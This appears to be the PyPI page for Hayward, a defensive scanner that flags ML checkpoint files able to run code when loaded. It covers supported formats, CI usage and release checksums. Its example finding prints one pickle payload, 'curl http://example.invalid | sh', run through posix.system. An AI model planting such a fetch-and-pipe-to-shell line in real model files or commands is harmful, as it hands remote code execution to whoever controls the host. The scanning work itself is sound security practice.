Skip to main content

Hayward

Security scanner for machine-learning model files. Know whether a checkpoint will run code on your machine, before you load it.

License MIT Python 3.10+ Rules 47 Dependencies 1 No outbound calls

pip install hayward
hayward scan ./models
CRITICAL MFV-PICKLE-001  checkpoints/model.pt
         Pickle file references unsafe callable(s) that grant code/command
         execution on load: posix.system('curl http://example.invalid | sh').

1 finding(s): 1 critical

Or try it in your browser. Same scanner, compiled to WebAssembly. Drop a checkpoint on the page and it stays on your machine.

The problem

torch.load, joblib.load and numpy.load(allow_pickle=True) execute code from the file they read. That is not a bug, it is what pickle does.

The file is named pytorch_model.bin, and the .bin is doing a lot of work in that sentence. It is a program. Loading it is running it, on your laptop, with your credentials, as you.

Who it is for

Teams that pull checkpoints from public hubs and want the check to run in a CI pipeline, on a laptop, or inside a regulated environment where nothing is allowed to leave the network.

What makes it different

It stays quiet. A gate that cries wolf gets switched off, so it is built to report real models cleanly and reserve the INFO tier for content it could not verify. Any figures we quote are self-measured and not independently reproducible; Accuracy sets out what it does and does not support, and the harness runs it against your own corpus.

It tells you when it could not look. A file it cannot parse produces an explicit finding, never silence. Attackers hide payloads behind deliberate parse errors, and a clean report should mean the file was read.

It catches gadgets nobody has listed. Unknown callables are judged by the arguments they were handed, not by their name. A URL, a shell command, a host and port. That is what generalises past the deny list.

It installs anywhere. One dependency, no model framework, no native extensions, no network. Python 3.10 and up.

It fits a build. Documented exit codes, JSON output, a threshold you set.

What it scans

Formats
Pickle, and everything that wraps it PyTorch (zip, legacy and .ptl mobile), joblib, NumPy .npy / .npz, TorchServe .mar, NVIDIA NeMo, skops
Tensor containers SafeTensors, GGUF, TFLite
Graph formats ONNX, TensorFlow SavedModel, Keras (H5 and .keras), PMML
Repo config HuggingFace config.json / tokenizer_config.json (auto_map, trust_remote_code, and Jinja chat_template injection)

26 extensions in total. Format comes from magic bytes, so a payload renamed weights.safetensors, or weights.dat, or given no extension at all, does not walk past on the strength of its name. A directory scan still finds its candidates by extension first, since sniffing a whole tree means reading it: coverage states that limit.

Three ways to run it

hayward scan ./models                          # command line
hayward scan ./models -f html -o report.html   # shareable report
hayward-gui                                    # desktop window
from hayward import ModelFileScanner
findings = ModelFileScanner().scan_directory(Path("models"))

And in CI, as a GitHub Action that fails the build and uploads SARIF to code scanning:

- uses: hedgerow-dev/hayward@v1
  with:
    path: models
    fail-on: high

See the GitHub Action guide.

What a clean result means

That Hayward read the files and recognised nothing dangerous in them. Not that the model is safe. It is a smoke alarm, not a survey of the building, and coverage is the page where it owns up to the rooms it could not get into.

Documentation

  • Usage: CLI reference, exit codes, CI, the GUI, the Python API
  • Rules: all 47 rules with severities and CWE mappings
  • Coverage: what it does when it cannot read a file, and why that is a finding
  • How it works: how it reads pickle without running it, and how unknown callables are judged by their arguments
  • GitHub Action: run the scan in CI and upload SARIF to code scanning
  • Reproducible builds: the Docker image and the browser-demo build pipeline
  • Accuracy: measured results, the caveats, and where it loses

Contributing

The most useful contribution is a file Hayward gets wrong. False alarms count just as much as misses. A scanner nobody trusts is a scanner nobody runs, and then it may as well not exist.

git clone https://github.com/hedgerow-dev/hayward
cd hayward && pip install -e ".[dev]" && pytest

Security

Report vulnerabilities in Hayward to hello@hedgerow.dev rather than in an issue. Input that crashes the scanner counts: under a CI gate, a crash is indistinguishable from a scan that never ran.

Licence

MIT. See LICENSE and NOTICE.

A hayward was the parish officer who walked the hedges, checked the gaps and impounded whatever had got through.

Release files for hayward 1.2.2

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for hayward 1.2.2
File Size Uploaded
hayward-1.2.2.tar.gz 288.8 kB Details

Built distribution (wheel)

Table of built distributions (wheels) for hayward 1.2.2
File Interpreter ABI Platform
hayward-1.2.2-py3-none-any.whl Python 3 none any Details

Total release size: 442.0 kB

Release files / hayward-1.2.2.tar.gz

Download URL hayward-1.2.2.tar.gz
Size 288.8 kB
Tags Source
SHA-256 checksum
How to use checksums
822e1521739851a146d94d40800242be52a7004bdfced0d5ba6ad4bd3e985221
BLAKE2b-256 checksum
How to use checksums
0e7f31e98b90e48dd2e9cadb17f073bc33b1806f207ef4ff0d1162624ee617dc
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/7.0.0 CPython/3.13.14

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Aug 28, 2026.

Transparency log

Release files / hayward-1.2.2-py3-none-any.whl

Download URL hayward-1.2.2-py3-none-any.whl
Size 153.2 kB
Tags Python 3
SHA-256 checksum
How to use checksums
78d1b943796da46ca28422abf1a4c3f276c656be30ee3bf8d5165915a7a44c6d
BLAKE2b-256 checksum
How to use checksums
e1bb224e481888499841170b3886de4e17a5561d5e923205dc9603bcedcb9c39
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/7.0.0 CPython/3.13.14

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Aug 28, 2026.

Transparency log

Release history Release notifications | RSS feed

1.2.3

2 release files

This release

1.2.2 This release

2 release files

1.2.1

2 release files

1.2.0

2 release files

1.1.0

2 release files

1.0.1

2 release files

1.0.0

2 release files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page